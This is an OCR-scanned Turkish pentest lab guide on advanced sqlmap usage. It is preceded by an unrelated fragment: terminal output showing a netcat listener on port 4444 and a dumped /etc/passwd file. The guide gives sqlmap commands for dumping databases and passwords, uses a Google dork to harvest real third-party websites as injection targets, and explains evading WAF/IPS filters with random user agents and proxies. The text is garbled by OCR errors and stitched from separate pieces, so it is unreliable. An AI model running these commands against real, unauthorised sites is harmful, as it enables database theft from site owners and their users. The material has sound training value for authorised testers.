USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root ttyl - ThulO 44:56m 5:33 0.00s /bin/bash /usr/
root pts/0 :0.0 ThulO 43:44m 0.24s 0.24s bash

root pts/1 :0.0 Thull 40:37m 4:57 4:57 /opt/metasploit
root pts/2 :0.0 Thull 15:23m 0.10s 0.10s bash

root pts/3 :0.0 Fri09 1:22m 0.35s 0.35s bash

root pts/4 :0.0 Fri09 0.00s 0.05s 0.00s nc -lv -p 4444

root pts/5 :0.0 Fri09 9:39 0.06s 0.06s bash

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
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man:x:6:12:man:/var/cache/man:/bin/sh
Ip:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:103:108::/var/lib/landscape:/bin/false
messagebus:x:104:112::/var/run/dbus:/bin/false
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:105:113::/var/lib/mysql:/bin/false
avahi:x:106:114::/var/run/avahi-daemon:/bin/false
snort:x:107:115:Snort IDS:/var/log/snort:/bin/false
statd:x:108:65534::/var/lib/nfs:/bin/false
usbmux:x:109:46::/home/usbmux:/bin/false
pulse:x:110:116::/var/run/pulse:/bin/false
rtkit:x:111:117::/proc:/bin/false
festival:x:112:29::/home/festival:/bin/false
postgres:x:1000:1000::/home/postgres:/bin/sh
haldaemon:x:113:122:Hardware abstraction layer,,,:/var/run/hald:/bin/false
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9.8. Web Uygulama Giivenlik Testlerinde ileri Seviye Sqimap Kullanimi

Amag: Sglmap kullanarak ileri seviye SQL injection istismari
Lab senaryosu:
ileri diizey sqlmap komutlari kullanilarak, sql injection acgikliklarinin istismarina yénelik
senaryo canlandiriimig ve detayli bilgiler verilmigtir.
Kullanilan Araglar:
e Sqglmap
Adimlar:
1. Adim:
Sqglmap acik kaynak kodlu sql injection agikhgi tespit ve istismar etme aracidir. Girdi
olarak verilen hedef web uygulamasinin kullandidi veritabani sistemine génderdigi
cesitli sorgular/komutlar ile sistem Uzerindeki sql injection varligini ve tipini tespit eder.
Verilen parametrelere gore gesitli bilgileri, hedef veritabanindan alir.
Sqlmap ile hedef hakkinda elde edilebilen bazi veriler;
e Veritabani tlrG ve versiyonu (--banner,--all)
o Mevcut kullanilan veritabani ve erigilebilen tim veritabani isimleri (--current-db, --
dbs)
« Veritabani tablolari(tables) ve bu tablolara ait kolonlari(columns) (--tables, --
columns)
o Veritabani datasi(--dump, --dump-all)
« Veritabani mevcut kullanicisi ve tim kullanicilar(--current-user,--users)
« Veritaban kullanici parolasi (--passwords)
e Veritabani kullanicisinin DB admin olup olmadigi bilgisi(--is-dba)
« Hedef sunucu hakkinda bilgi(isletim sistemi, Uygulamanin kullanildigi teknoloji
vs. , -f)
Sglmap’e farkh tiplerde hedef belirtilebilmektedir;
e URL (--url, -r)
e Burp suite ve WebScarp proxy logu (--log , -I)
« HTTP talepleri bir dosyadan okutulabilmektedir. (--r)
o Google uzerinden URL toplayip input olarak alabilmektidir.(-g)
e /sqlmap/sglmap.conf dosyasi -c parametresi ile verilerek tim konfigrasyon input
olarak verilebilir. (-c)
Sqglmap.conf dosyasi oldukga ileri dlizey parameterlere sahiptir. Yukarida verilen girdiler
bu conf dosyasina girilerek buradan okunmasi saglanilabilecegi gibi, ¢esitli farkli
islemler de (WAF/IPS/IDS kesfi yapip/yapmama, uzak sunucuda okunacak dosya, uzak
sunucuda yuruttlecek komut v.b ) yaptirilabilmektedir.

2. Adim:
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Not: Sqlmap ile calismaya baslamadan once ilgili dizine girip sqlmap update edilmelidir.
Bunun icin asagidaki komut backtrack Gzerinde kullanilabilir.

root@bt:~# cd /pentest/database/sqlmap/;svn update;python2 sqlmap.py --
update

3. Adim:
Sqglmap, -g parametresi ile belirli ifadeler (sqli agikhdr barindirdigi bilinen URL'ler)
google Uzerinden bulup, Uzerindeki sql injection agikligini istismar edebilmektedir.

Sglmap buldugu URL'leri sira ile exploit etmek isteyip istemedigimizi sormaktadir.

root@bt:/pentest/database/sqglmap# ./sqlmap.py -g "inurl:index.php?id="--dbs

[14:35:17] [INFO] first request to Google to get the session cookie
[14:35:18] [INFO] using Google result page #1

[14:35:25] [INFO] heuristics detected web page charset 'ISO-8859-2'
[14:35:25] [INFO] sqglmap got 105 results for your Google dork expression, 100 of
them are testable targets

[14:35:25] [INFO] sqglmap got a total of 100 targets

url 1:

GET http://www.du.ac.in/index.php?id=165

do you want to test this url? [Y/n/q]

>n

url 2:

GET http://www.uni-corvinus.hu/index.php?id=7745

do you want to test this url? [Y/n/q]

>n

url 3:

GET http://www.harkavagrant.com/index.php?id=341

do you want to test this url? [Y/n/q]

>

4. Adim:

--data parametresi ile hedef URL'e ait post verisi manuel olarak da verilebilmektedir.
--cookie parametresi ile hedef sisteme baglanmak icin cookie bilgisi verilebilmektedir.
Parola korumali hedeflerdeki sql injection agiklari bu sekilde kolaylikla istismar
edilebilmektedir.
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5. Adim:

Sqglmap http kimlik dogrulama yontemlerinden bacic,ntim ve digest yontemlerini
desteklemektedir. Bu tur http kimlik dogrulama tarleri ile korunan hedef sistemlere
yonelik agikliklar da istismar edilebilir.

--auth-type Basic --auth-cred "user:pass”

Taramalar http, https ve tor proxy Uzerinden gercgeklestirilebilmektedir. Proxy kullanimi
igin --proxy parameteresi, proxy serverlar Uzerinde kimlik dogrulama igin --proxy-cred
parametreleri kullanilmaktadir.

--proxy Http --proxy-cred "user:pass"

Hedef sunucu veya sunucu 6nunde bulunan WAF/IPS benzeri guvenlik cihazlari bazi
http header parametrelerini gelen istekte gormek isterler.

Bunlardan bir kaci user agent ve referer gibi baslik bilgileridir. Glvenlik cihazlari
uzerinde bulunan whitelistlerde tanimli bazi user agentlar ile gelen client istekleri
cevaplanir bunun diginda gelenler bloklanir. Sqgimap ile bu durum user agent icin, --
user-agent veya --random-agent parametreleri ile atlatilabilmektedir.

--user agent ile istenilen bir user agent header bilgisi input olarak verilebilmektedir.
--random-agent paremetresi kullaniimasi durumunda ise ./txt/user-agent.txt
dosyasindaki yaklasik 2100 user agent i¢erisinden rastgele segilerek hedef Gzerinde
zaafiyet istismar denemeleri gergeklestirir. Referrer icin ise --referer parametresi
kullanilabilir.

Not: HTTP header bilgilerinin kullaniimasi icin --level ile 3 ve Ustl bir deder ifade
edilmelidir.

--delay parametresi ile gonderilen http(s) istekleri arasindaki gecikme miktari da saniye
cinsinden ifade edilebilmektedir. --delay parametresi float tlrde veri de kabul etmektedir.
(--delay=1.5)

6. Adim:

--timeout parametresi ile normal http timeout suresi goz 6nunde bulundurulmadan
onceki bekleme suresi belirtilebilir. Bu da fload turde bir degisken olarak tanimhdir
(ondalikl verilebilir) ve 6n tanimli olarak sqlmap.conf dosyasinda 30 sn olarak
ayarlanmigtir.
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root@bt:/pentest/database/sglmap# cat sqimap.conf | grep timeout

# Seconds to wait before timeout connection.
timeout = 30
# Maximum number of retries when the HTTP connection timeouts.

7. Adim:
--retries parametresi ile timeouta ugrayan http(s) isteklerinin tekrarlanma sayisi
verilebilir. Bu deger sglmap.conf dosyasinda 6n taniml olarak 3 olarak belirtilmigtir.

root@bt:/pentest/database/sglmap# cat sglmap.conf | grep retries

# Maximum number of retries when the HTTP connection timeouts.
retries =3

8. Adim:

Konunun daha iyi anlasiimasi igin bir kag somut 6rnek Gzerinden devam edelim.Hedef
sisteme ait veritabani kullanicisini belirleme(--current-user) ve bu kullanicinin veritabani
admin haklarina sahip olup olmadigini(--is-dba) belirleyelim. Ayrica uzak sistem
uzerindeki igletim sistemi/versiyonu, kullanilan web teknolojisi adi/versiyonu, veritabani
uygulamasi turi/versiyonu (-f) gibi bilgileri alalim.

root@bt:~# cd /pentest/database/sglmap/;python2 sglmap.py —u
‘http://testasp.vulnweb.com/showforum.asp?id=0" --current-user --is-dba -f

[16:59:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003

web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
[16:59:19] [INFO] fetching current user

current user: 'acunetix’

[16:59:21] [INFQO] testing if current user is DBA

current user is DBA: False

Goraldagua gibi mevcut kullanicimiz acunetix kullanicisidir ve dba degildir. Hedef sistem
isletim sistemi ve kullanilan teknoloji bilgileride yukarida ¢iktida gérulmektedir.
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[PENTEST LAB CALISMALARI]

9. Adim:

Bazen sglmap URL baglantisini test etmeye caligtiginda timeout alarak URL baglanti
kuramaz. Gergekten baglanti olup olmadigi browserdan adres ¢agrilarak goérulebilir.
Sayet browser Uzerinden ilgili adrese baglanti gerceklestiriliyor fakat sqimap baglanti
kuramiyorsa, bu gibi durumlarda hedef web uygulamasi tarafinda user agent bilgisi
kontrol ediliyor olabilir.

Bu tur sorunlari asmak icin --random-agent parametresi ile ¢esitli user agent bilgileri ile
hedef test edilirse sonug basaril olacaktir. Asagida ornek bir kullanim verilmigtir. -v 3
parametresi ile gonderilen tim payloadlar gorulebilir. --retries ile timeout vs. gibi
basarisiz baglantilarda tekrar denenmemesi igin 0O degeri set edilmistir.

root@bt:/pentest/database/sglmap# ./sqlmap.py -u
‘http://www.example.com/test/index.asp?id= 1' --random-agent -p word --dbs --
dbms=mssql --keep-alive --time-sec=1 -v 3 --retries 0 --timeout=1 --threads=10

Not: Bu dokiiman BGA Bilgi Guvenligi A.$ icin Mesut Turk tarafindan hazirlanmigtir.
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